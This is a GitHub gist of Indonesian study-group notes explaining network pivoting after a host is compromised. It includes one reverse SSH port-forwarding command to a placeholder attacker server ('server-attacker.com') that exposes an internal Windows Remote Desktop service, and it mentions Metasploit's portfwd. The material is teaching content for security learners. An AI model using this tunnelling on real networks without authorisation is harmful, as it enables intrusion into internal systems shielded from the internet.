Skip to content

Instantly share code, notes, and snippets.

@ttycelery
Last active January 19, 2023 10:19
Show Gist options
  • Save ttycelery/40cddc8387d3846b7bf8f6f7abcef8f8 to your computer and use it in GitHub Desktop.
Save ttycelery/40cddc8387d3846b7bf8f6f7abcef8f8 to your computer and use it in GitHub Desktop.
KULGRAM Surabaya Hacker Link tentang Pivoting

Pivoting

Apa itu Pivoting?

Pivoting merupakan metode yang menggunakan "instance" yang biasa disebut "pivot host" atau "foothold" agar bisa "berpindah" dari suatu tempat ke tempat di dalam

jaringan yg sudah dihek. Simplenya, kita pakai asumsi dibawah untuk pivoting melakukan pivoting dengan OpenSSH.

  • Attacker punya "akses shell" ke sebuah komputer (dalam hal ini, osnya linux, nanti sesuain aja)
  • Komputer tadi selanjutnya disebut "Pivot host"
  • Di komputer itu sudah terinstall client OpenSSH dengan setting GatewayPorts menyala (di /etc/ssh/sshd_config) untuk memungkinkan reverse ssh port forwarding (baca: https://blog.devolutions.net/2017/3/what-is-reverse-ssh-port-forwarding)
  • Di komputer attacker, server OpenSSH berjalan di port 22
  • Port 22 di komputer attacker sudah diforward atau diekspose ke internet (sehingga bisa diakses oleh pivot host)
  • Di jaringan yang sama dengan pivot host, terdapat komputer lainnya (Windows, IP: 192.168.1.2) yang memiliki layanan Remote Desktop di port 3389 yang tidak diekspose ke internet dan tidak bisa diakses oleh attacker secara langsung
  • Attacker ingin mengakses layanan Remote Desktop tersebut

Tujuan pivoting

Berdasarkan asumsi di atas, tujuan attacker melakukan pivoting adalah untuk mendapatkan akses ke layanan Remote Desktop port 3389 pada IP 192.168.1.2 di jaringan lokal pivot host.

Pivoting dengan OpenSSH

Pada asumsi sebelumnya, port 22 pada komputer attacker sudah terbuka dan dapat diakses oleh pivot host. Karena OpenSSH sudah terinstall pada pivot host dan attacker telah mendapatkan akses shell pada pivot host, untuk melakukan pivoting dapat menggunakan command berikut. ssh -vNR 3030:192.168.1.2:3389 user@server-attacker.com. -v berarti meningkatkan output (menampilkan semua informasi debug, error, dll). -N berarti tidak menggunakan shell (hanya melakukan port forwarding dan tidak spawn shell). -R berarti pivot host akan melakukan reverse port forwarding. 3030 merupakan remote port yang artinya port pada server attacker yang akan men-forward port 3389 pada komputer di jaringan lokal pivot host yaitu 192.168.1.2. 192.168.1.2 pada argumen command tadi berarti sebagai local host, yaitu host yang akan diteruskan ke server attacker. Kemudian, 3389 berarti port pada local host yang akan diforward ke remote port pada remote host. Terakhir, user@server-attacker.com berarti OpenSSH akan menggunakan user 'user' pada server attacker 'server-attacker.com'.

Mengakses Remote Desktop Pada Sebuah Komputer di Jaringan Pivot Host

Sebelumnya, attacker telah men-forward port 3389 pada komputer dengan IP 192.168.1.2 pada jaringan pivot host. Untuk dapat mengakses layanan Remote Desktop pada komputer tersebut, attacker dapat menggunakan rdesktop atau client Remote Desktop lainnya dan membuka alamat 127.0.0.1:3030 (Mengapa 127.0.0.1? karena sebelumnya attacker telah melakukan reverse port forwarding ke server attacker. Server attacker dari komputer attacker sama dengan localhost/127.0.0.1) Selesai deh pivoting pake OpenSSH wkwk.

Pivoting pada meterpreter

Metasploit menyediakan 'portfwd' untuk mempermudah pivoting. Jelasnya dapat dilihat di https://www.offensive-security.com/metasploit-unleashed/pivoting.

Pivoting lebih lanjut

Untuk mempelajari pivoting lebih lanjut, dapat mengunjungi link-link berikut:

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment